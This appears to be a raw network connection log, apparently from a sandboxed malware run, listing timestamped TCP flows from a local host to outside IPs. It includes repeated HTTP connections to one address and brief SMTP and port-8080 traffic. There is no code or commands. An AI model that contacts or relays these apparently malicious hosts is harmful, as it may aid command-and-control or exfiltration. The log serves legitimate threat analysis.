Jan 13, 2022 20:50:37.726690054 CET	80	49760	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:37.726808071 CET	49760	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.739176035 CET	49760	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.753381014 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:37.753458977 CET	49761	80	192.168.2.5	188.166.28.199
Jan 13, 2022 20:50:37.794190884 CET	80	49760	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:40.876014948 CET	49761	80	192.168.2.5	188.166.28.199
Jan 13, 2022 20:50:46.876571894 CET	49761	80	192.168.2.5	188.166.28.199
Jan 13, 2022 20:50:54.119613886 CET	49774	25	192.168.2.5	52.101.24.0
Jan 13, 2022 20:50:54.266916037 CET	25	49774	52.101.24.0	192.168.2.5
Jan 13, 2022 20:50:54.267049074 CET	49774	25	192.168.2.5	52.101.24.0
Jan 13, 2022 20:50:54.267905951 CET	49774	25	192.168.2.5	52.101.24.0
Jan 13, 2022 20:50:54.414769888 CET	25	49774	52.101.24.0	192.168.2.5
Jan 13, 2022 20:50:54.415848017 CET	25	49774	52.101.24.0	192.168.2.5
Jan 13, 2022 20:50:54.415932894 CET	49774	25	192.168.2.5	52.101.24.0
Jan 13, 2022 20:50:54.416302919 CET	25	49774	52.101.24.0	192.168.2.5
Jan 13, 2022 20:50:54.416363955 CET	49774	25	192.168.2.5	52.101.24.0
Jan 13, 2022 20:50:56.658401966 CET	49775	443	192.168.2.5	194.147.84.248
Jan 13, 2022 20:50:56.658457994 CET	443	49775	194.147.84.248	192.168.2.5
Jan 13, 2022 20:50:56.658705950 CET	49775	443	192.168.2.5	194.147.84.248
Jan 13, 2022 20:50:59.241554022 CET	49780	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.298593998 CET	80	49780	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:59.298710108 CET	49780	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.308475018 CET	49780	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.308505058 CET	49780	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.365660906 CET	80	49780	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:59.426450968 CET	80	49780	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:59.426542997 CET	49780	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.426646948 CET	49780	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.463541031 CET	49781	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.482629061 CET	80	49780	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:59.544658899 CET	80	49781	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:59.544958115 CET	49781	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.544990063 CET	49781	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.544996023 CET	49781	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.604602098 CET	80	49781	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:59.656693935 CET	80	49781	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:59.656793118 CET	49781	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.657031059 CET	49781	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.712747097 CET	49782	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.729724884 CET	80	49781	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:59.772351980 CET	80	49782	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:59.772430897 CET	49782	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.772764921 CET	49782	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.772784948 CET	49782	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.830497980 CET	80	49782	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:59.881618977 CET	80	49782	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:59.881736994 CET	49782	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.886261940 CET	49782	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.918832064 CET	49783	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.956654072 CET	80	49782	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:59.976499081 CET	80	49783	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:59.976594925 CET	49783	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.976720095 CET	49783	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:59.976823092 CET	49783	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:00.048841000 CET	80	49783	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:00.096012115 CET	80	49783	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:00.096106052 CET	49783	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:00.096204996 CET	49783	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:00.128593922 CET	49784	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:00.151685953 CET	80	49783	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:00.185262918 CET	80	49784	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:00.185347080 CET	49784	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:00.185549021 CET	49784	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:00.185609102 CET	49784	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:00.502701044 CET	49784	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:00.568334103 CET	80	49784	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:01.333435059 CET	80	49784	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:01.333520889 CET	49784	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:01.407999039 CET	49784	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:01.465037107 CET	80	49784	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:01.474603891 CET	49786	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:01.531611919 CET	80	49786	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:01.531768084 CET	49786	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:01.531861067 CET	49786	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:01.531872034 CET	49786	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:01.602040052 CET	80	49786	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:01.661755085 CET	80	49786	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:01.661925077 CET	49786	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:02.378746986 CET	49786	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:02.434748888 CET	80	49786	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:02.854839087 CET	49787	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:02.911475897 CET	80	49787	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:02.911588907 CET	49787	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:02.911813021 CET	49787	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:02.911835909 CET	49787	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:02.972145081 CET	80	49787	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.045186996 CET	80	49787	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.045306921 CET	49787	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.050965071 CET	49787	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.077843904 CET	49789	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.105729103 CET	80	49787	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.134583950 CET	80	49789	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.134691954 CET	49789	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.134788990 CET	49789	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.134802103 CET	49789	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.201222897 CET	80	49789	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.260540009 CET	80	49789	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.260627985 CET	49789	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.266489983 CET	49789	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.300868034 CET	49790	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.322896004 CET	80	49789	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.357765913 CET	80	49790	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.357919931 CET	49790	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.358052969 CET	49790	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.358063936 CET	49790	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.420805931 CET	80	49790	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.488970041 CET	80	49790	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.492852926 CET	49790	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.493019104 CET	49790	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.522161961 CET	49791	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.549977064 CET	80	49790	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.592561960 CET	80	49791	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.593163967 CET	49791	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.593216896 CET	49791	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.597040892 CET	49791	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.649799109 CET	80	49791	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.653141022 CET	80	49791	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.704080105 CET	80	49791	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.704283953 CET	49791	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.704330921 CET	49791	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.733869076 CET	49793	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.763421059 CET	80	49791	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.790074110 CET	80	49793	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.790402889 CET	49793	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.790597916 CET	49793	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.790699959 CET	49793	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.845845938 CET	80	49793	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.897751093 CET	80	49793	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:03.899315119 CET	49793	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.914881945 CET	49793	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:03.973467112 CET	80	49793	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.256182909 CET	49794	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.317054987 CET	80	49794	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.317176104 CET	49794	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.317291975 CET	49794	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.317331076 CET	49794	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.387396097 CET	80	49794	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.436136961 CET	80	49794	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.436217070 CET	49794	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.436701059 CET	49794	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.479968071 CET	49795	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.493784904 CET	80	49794	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.535377026 CET	80	49795	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.535502911 CET	49795	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.535624027 CET	49795	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.535641909 CET	49795	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.591396093 CET	80	49795	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.647233009 CET	80	49795	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.647329092 CET	49795	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.647548914 CET	49795	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.676481962 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.715662956 CET	80	49795	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.732958078 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.733057022 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.733217955 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.831779957 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.867877960 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.867903948 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.867921114 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.867937088 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.867954016 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.867973089 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.867986917 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.868089914 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.868330956 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.868350029 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.868366003 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.868383884 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.868438005 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.923681021 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.923717976 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.923734903 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.923751116 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.923856974 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.923876047 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.923893929 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.923939943 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.923940897 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.923964024 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.923970938 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.924062014 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.924091101 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.924139023 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.924160004 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.924176931 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.924251080 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.924272060 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.924985886 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.925009966 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.925026894 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.925090075 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.979774952 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.979803085 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.979820967 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.979837894 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.979852915 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.979898930 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.979947090 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.980003119 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.980036974 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.980055094 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.980071068 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.980120897 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.980232000 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.980251074 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.980268955 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.980284929 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.980297089 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.980333090 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:04.982820034 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.982845068 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:04.982889891 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.041053057 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.041085005 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.041105032 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.041122913 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.041127920 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.041157961 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.041418076 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.041440964 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.041471004 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.041477919 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.041501999 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.041516066 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.041524887 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.041547060 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.041573048 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.041574001 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.041599035 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.041620016 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.042079926 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.042103052 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.042257071 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.099469900 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.099507093 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.099529982 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.099550962 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.099575043 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.099612951 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.099770069 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.099807024 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.099822044 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.099828005 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.099869013 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.099869967 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.100428104 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.100450993 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.100469112 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.100486994 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.100677013 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.100776911 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.100801945 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.100821972 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.100832939 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.100843906 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.100863934 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.101290941 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.101344109 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.155374050 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.155400991 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.155417919 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.155435085 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.155484915 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.155531883 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.155905962 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.155940056 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.156002998 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.156647921 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.156671047 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.156692982 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.156713963 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.156738997 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.156773090 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.157041073 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.157067060 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.157087088 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.157109022 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.157128096 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.157146931 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.157160044 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.157202959 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.157223940 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.157244921 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.157254934 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.157293081 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.211427927 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.211464882 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.211530924 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.211913109 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.211982012 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.212008953 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.212033033 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.212035894 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.212080002 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.212590933 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.212624073 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.212651968 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.212672949 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.212678909 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.212722063 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.214572906 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.214607954 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.214638948 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.214669943 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.214668989 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.214711905 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.215909958 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.215953112 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.215985060 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.216012001 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.216115952 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.216166019 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.284630060 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.284684896 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.284713984 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.284723043 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.284745932 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.284765005 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.284818888 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.294708967 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.294768095 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.294807911 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.294837952 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.294936895 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.296061993 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.296106100 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.296143055 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.296175957 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.296183109 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.296202898 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.296221018 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.296279907 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.305510998 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.305588961 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.305593967 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.305639982 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.305670977 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:05.305809975 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:05.314656973 CET	80	49796	45.135.233.182	192.168.2.5
